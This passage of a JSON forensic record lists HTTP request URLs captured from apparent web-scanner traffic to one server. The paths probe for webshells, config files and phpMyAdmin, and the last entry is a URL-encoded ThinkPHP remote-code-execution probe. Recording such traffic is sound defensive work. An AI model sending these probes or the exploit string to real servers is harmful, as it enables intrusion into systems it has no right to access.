        "is_private": null,
        "observable_id": "observable-fd37da0177459399fcc39718",
        "last_seen_epoch": "1577255789.695421000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255789.695421000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/avast.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2008,
            "display_filter": "frame.number == 2008",
            "timestamp_epoch": "1577256289.264662000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-12d72eff10367a51b2cc07b6",
        "last_seen_epoch": "1577256289.264662000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256289.264662000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aw.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1249,
            "display_filter": "frame.number == 1249",
            "timestamp_epoch": "1577255887.236182000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ce41b98228208ebfc363ebfa",
        "last_seen_epoch": "1577255887.236182000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255887.236182000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/b.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 127,
            "display_filter": "frame.number == 127",
            "timestamp_epoch": "1577255372.740954000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3f0f2cb65c4759bf7476bf1b",
        "last_seen_epoch": "1577255372.740954000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255372.740954000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/baidoubi.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 441,
            "display_filter": "frame.number == 441",
            "timestamp_epoch": "1577255500.840042000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2b16cf5aa6be53e1406e0528",
        "last_seen_epoch": "1577255500.840042000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255500.840042000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bak.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1202,
            "display_filter": "frame.number == 1202",
            "timestamp_epoch": "1577255870.473468000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d3d25fbea81b76a73daa3168",
        "last_seen_epoch": "1577255870.473468000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255870.473468000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbq.php",
        "evidence": [
          {
            "tcp_stream": 23,
            "frame_number": 699,
            "display_filter": "frame.number == 699",
            "timestamp_epoch": "1577255662.779024000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7c59b20465f3749a993df283",
        "last_seen_epoch": "1577255662.779024000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255662.779024000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbqq.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 776,
            "display_filter": "frame.number == 776",
            "timestamp_epoch": "1577255692.262997000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5b3dce02380e24ae0358428f",
        "last_seen_epoch": "1577255692.262997000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255692.262997000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbr.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 747,
            "display_filter": "frame.number == 747",
            "timestamp_epoch": "1577255682.318117000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b33c0235082e59cd45053c9f",
        "last_seen_epoch": "1577255682.318117000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255682.318117000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbs.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 44,
            "display_filter": "frame.number == 44",
            "timestamp_epoch": "1577255346.055130000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a4e207fe3a17bc572c940880",
        "last_seen_epoch": "1577255346.055130000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255346.055130000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbs/index.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 55,
            "display_filter": "frame.number == 55",
            "timestamp_epoch": "1577255353.337526000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-507e0cfb8903c496bd1bb31e",
        "last_seen_epoch": "1577255353.337526000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255353.337526000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bbv.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 799,
            "display_filter": "frame.number == 799",
            "timestamp_epoch": "1577255707.428514000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bb69c125ed3399771856ac18",
        "last_seen_epoch": "1577255707.428514000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255707.428514000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/beimeng.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1360,
            "display_filter": "frame.number == 1360",
            "timestamp_epoch": "1577255966.525930000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4051f0d67938b6846d2c8b59",
        "last_seen_epoch": "1577255966.525930000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255966.525930000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/boots.php",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1428,
            "display_filter": "frame.number == 1428",
            "timestamp_epoch": "1577256009.397980000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-691c583fa1892f4f2805f84d",
        "last_seen_epoch": "1577256009.397980000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256009.397980000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/bx.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1989,
            "display_filter": "frame.number == 1989",
            "timestamp_epoch": "1577256279.874395000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f3abaa74442c946f393aa3a5",
        "last_seen_epoch": "1577256279.874395000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256279.874395000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cacti/plugins/weathermap/editor.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 258,
            "display_filter": "frame.number == 258",
            "timestamp_epoch": "1577255405.836615000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4734c66c871da961521bbb9c",
        "last_seen_epoch": "1577255405.836615000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255405.836615000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cainiao.php",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1173,
            "display_filter": "frame.number == 1173",
            "timestamp_epoch": "1577255858.374202000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0eca3fd92f8733f190f2dff7",
        "last_seen_epoch": "1577255858.374202000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255858.374202000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/caonma.php",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1452,
            "display_filter": "frame.number == 1452",
            "timestamp_epoch": "1577256034.133587000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-cd7be261015809f8fb6e3f3c",
        "last_seen_epoch": "1577256034.133587000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256034.133587000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cc.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 942,
            "display_filter": "frame.number == 942",
            "timestamp_epoch": "1577255778.226518000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e5b345b7077d6330e53bdc8e",
        "last_seen_epoch": "1577255778.226518000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255778.226518000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/CC.php",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1824,
            "display_filter": "frame.number == 1824",
            "timestamp_epoch": "1577256198.061693000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-33725fd1e8abd51421bd1994",
        "last_seen_epoch": "1577256198.061693000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256198.061693000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/CCC.PHP",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1998,
            "display_filter": "frame.number == 1998",
            "timestamp_epoch": "1577256281.286066000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-936e65a9f53b1f5e6b521c81",
        "last_seen_epoch": "1577256281.286066000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256281.286066000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/CCCC.PHP",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2001,
            "display_filter": "frame.number == 2001",
            "timestamp_epoch": "1577256282.452070000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-297f266ceb597c0c1156a887",
        "last_seen_epoch": "1577256282.452070000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256282.452070000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cer.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1851,
            "display_filter": "frame.number == 1851",
            "timestamp_epoch": "1577256204.372043000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0b4ce8ec89a293181d5ea143",
        "last_seen_epoch": "1577256204.372043000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256204.372043000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cere.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1854,
            "display_filter": "frame.number == 1854",
            "timestamp_epoch": "1577256205.442753000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c954dc83d90b81173f012577",
        "last_seen_epoch": "1577256205.442753000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256205.442753000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ceshi.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1376,
            "display_filter": "frame.number == 1376",
            "timestamp_epoch": "1577255975.412907000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-be65721204761d4423163fa0",
        "last_seen_epoch": "1577255975.412907000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255975.412907000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/chaoda.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1926,
            "display_filter": "frame.number == 1926",
            "timestamp_epoch": "1577256243.251347000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-57600e4195684a5dcbb03f8e",
        "last_seen_epoch": "1577256243.251347000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256243.251347000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/claroline/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2225,
            "display_filter": "frame.number == 2225",
            "timestamp_epoch": "1577256380.797739000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a1790e0c8de8c4cf9ffd38d8",
        "last_seen_epoch": "1577256380.797739000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256380.797739000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cmd.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 190,
            "display_filter": "frame.number == 190",
            "timestamp_epoch": "1577255393.789840000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 202,
            "display_filter": "frame.number == 202",
            "timestamp_epoch": "1577255396.209008000"
          },
          {
            "tcp_stream": 34,
            "frame_number": 1189,
            "display_filter": "frame.number == 1189",
            "timestamp_epoch": "1577255864.511403000"
          },
          {
            "tcp_stream": 34,
            "frame_number": 1192,
            "display_filter": "frame.number == 1192",
            "timestamp_epoch": "1577255864.775178000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6bd0cd4e3338090976dfa332",
        "last_seen_epoch": "1577255864.775178000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255393.789840000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cmdd.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 196,
            "display_filter": "frame.number == 196",
            "timestamp_epoch": "1577255395.039685000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-56ca6d33103d3d8aae643d70",
        "last_seen_epoch": "1577255395.039685000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255395.039685000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cmv.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 193,
            "display_filter": "frame.number == 193",
            "timestamp_epoch": "1577255394.762706000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-03d3b739cd2cab55f62b5286",
        "last_seen_epoch": "1577255394.762706000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255394.762706000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/composer.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 338,
            "display_filter": "frame.number == 338",
            "timestamp_epoch": "1577255438.247035000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4e9ae2cea4cb2c165c8f3df8",
        "last_seen_epoch": "1577255438.247035000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255438.247035000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/composers.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 332,
            "display_filter": "frame.number == 332",
            "timestamp_epoch": "1577255435.674209000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f80f0b3c6f2ee3b9258cfc53",
        "last_seen_epoch": "1577255435.674209000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255435.674209000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/conf.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1015,
            "display_filter": "frame.number == 1015",
            "timestamp_epoch": "1577255797.828811000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1678,
            "display_filter": "frame.number == 1678",
            "timestamp_epoch": "1577256136.344183000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-36a0f00bd5216ec39aa62ca5",
        "last_seen_epoch": "1577256136.344183000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255797.828811000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/conf1g.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1526,
            "display_filter": "frame.number == 1526",
            "timestamp_epoch": "1577256067.806986000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f760c2b32f6fb0412a855f00",
        "last_seen_epoch": "1577256067.806986000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256067.806986000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/confg.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1523,
            "display_filter": "frame.number == 1523",
            "timestamp_epoch": "1577256067.548737000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1529,
            "display_filter": "frame.number == 1529",
            "timestamp_epoch": "1577256068.763766000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1532,
            "display_filter": "frame.number == 1532",
            "timestamp_epoch": "1577256069.022534000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1535,
            "display_filter": "frame.number == 1535",
            "timestamp_epoch": "1577256069.857723000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-60e9bf475779fb1eefa14b78",
        "last_seen_epoch": "1577256069.857723000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256067.548737000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/config.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 927,
            "display_filter": "frame.number == 927",
            "timestamp_epoch": "1577255776.080530000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6a245631b3add601426c811f",
        "last_seen_epoch": "1577255776.080530000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255776.080530000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/conflg.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1093,
            "display_filter": "frame.number == 1093",
            "timestamp_epoch": "1577255814.861145000"
          },
          {
            "tcp_stream": 31,
            "frame_number": 1103,
            "display_filter": "frame.number == 1103",
            "timestamp_epoch": "1577255824.058575000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5433f6203e00c8bfe63c42f8",
        "last_seen_epoch": "1577255824.058575000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255814.861145000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/coonig.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 434,
            "display_filter": "frame.number == 434",
            "timestamp_epoch": "1577255496.225090000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-80fbaa8084668577db92d4c5",
        "last_seen_epoch": "1577255496.225090000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255496.225090000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/core.php",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1503,
            "display_filter": "frame.number == 1503",
            "timestamp_epoch": "1577256052.274726000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2b1ac5d05702532532aae085",
        "last_seen_epoch": "1577256052.274726000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256052.274726000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/cxfm666.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1767,
            "display_filter": "frame.number == 1767",
            "timestamp_epoch": "1577256173.943772000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e84011092449d6e3c89616a7",
        "last_seen_epoch": "1577256173.943772000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256173.943772000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/d7.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 302,
            "display_filter": "frame.number == 302",
            "timestamp_epoch": "1577255411.546188000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1eee6310a9b6cff684693da0",
        "last_seen_epoch": "1577255411.546188000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255411.546188000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/data.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1754,
            "display_filter": "frame.number == 1754",
            "timestamp_epoch": "1577256165.009056000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0541d10f23414c69dffc48fc",
        "last_seen_epoch": "1577256165.009056000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256165.009056000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db.init.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1033,
            "display_filter": "frame.number == 1033",
            "timestamp_epoch": "1577255803.756596000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9959291542055a8ff3f9e833",
        "last_seen_epoch": "1577255803.756596000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255803.756596000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1770,
            "display_filter": "frame.number == 1770",
            "timestamp_epoch": "1577256174.689860000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9b9f51a312fafe354ee5691b",
        "last_seen_epoch": "1577256174.689860000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256174.689860000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2111,
            "display_filter": "frame.number == 2111",
            "timestamp_epoch": "1577256352.593978000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b79ef0534f3d100489855f11",
        "last_seen_epoch": "1577256352.593978000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256352.593978000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db__.init.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1039,
            "display_filter": "frame.number == 1039",
            "timestamp_epoch": "1577255804.477044000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-49fbbd2cbe76359c20b128fc",
        "last_seen_epoch": "1577255804.477044000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255804.477044000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db_cts.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 94,
            "display_filter": "frame.number == 94",
            "timestamp_epoch": "1577255369.090592000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d904d45867fb309b2ba25b8e",
        "last_seen_epoch": "1577255369.090592000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255369.090592000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db_dataml.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1075,
            "display_filter": "frame.number == 1075",
            "timestamp_epoch": "1577255810.633553000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b065cd9cc1c8b04b460dd03c",
        "last_seen_epoch": "1577255810.633553000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255810.633553000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db_desql.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1078,
            "display_filter": "frame.number == 1078",
            "timestamp_epoch": "1577255811.454643000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-124e2d4c9c5e9f5dfc86d8ce",
        "last_seen_epoch": "1577255811.454643000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255811.454643000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db_pma.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 97,
            "display_filter": "frame.number == 97",
            "timestamp_epoch": "1577255369.358316000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2b7deebf5a0c89be8b964c0d",
        "last_seen_epoch": "1577255369.358316000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255369.358316000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/db_session.init.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1036,
            "display_filter": "frame.number == 1036",
            "timestamp_epoch": "1577255804.132068000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-dc813e33aa236210bb4c0ac1",
        "last_seen_epoch": "1577255804.132068000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255804.132068000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/dbadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2114,
            "display_filter": "frame.number == 2114",
            "timestamp_epoch": "1577256352.891018000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9b65c3dd45509985ec1c8804",
        "last_seen_epoch": "1577256352.891018000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256352.891018000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/defect.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1135,
            "display_filter": "frame.number == 1135",
            "timestamp_epoch": "1577255828.034612000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d20039121410692f5ae63967",
        "last_seen_epoch": "1577255828.034612000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255828.034612000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/desktop.ini.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 133,
            "display_filter": "frame.number == 133",
            "timestamp_epoch": "1577255373.276884000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0ca0893776fc9a2be06de2b8",
        "last_seen_epoch": "1577255373.276884000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255373.276884000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/dexgp.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1577,
            "display_filter": "frame.number == 1577",
            "timestamp_epoch": "1577256082.973545000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f7f5064e9881d348d6e9fa3c",
        "last_seen_epoch": "1577256082.973545000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256082.973545000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/diy.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1690,
            "display_filter": "frame.number == 1690",
            "timestamp_epoch": "1577256137.413851000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-434a8335ae318a7a2780a301",
        "last_seen_epoch": "1577256137.413851000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256137.413851000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/doudou.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 418,
            "display_filter": "frame.number == 418",
            "timestamp_epoch": "1577255491.795413000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9f3878d9cf4d588cf9327750",
        "last_seen_epoch": "1577255491.795413000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255491.795413000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/download/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2319,
            "display_filter": "frame.number == 2319",
            "timestamp_epoch": "1577256407.861987000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9929b4c7335d582a14625e43",
        "last_seen_epoch": "1577256407.861987000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256407.861987000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/dp.php",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 507,
            "display_filter": "frame.number == 507",
            "timestamp_epoch": "1577255555.503499000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-28b915195e20c78af953f3e3",
        "last_seen_epoch": "1577255555.503499000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255555.503499000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Drupal.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 344,
            "display_filter": "frame.number == 344",
            "timestamp_epoch": "1577255438.943366000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d7933e602a78a31ab0eab10c",
        "last_seen_epoch": "1577255438.943366000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255438.943366000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/edmin.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 966,
            "display_filter": "frame.number == 966",
            "timestamp_epoch": "1577255785.727707000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6c88af727fcfca1578baac18",
        "last_seen_epoch": "1577255785.727707000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255785.727707000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
        "evidence": [
          {
            "tcp_stream": 5,
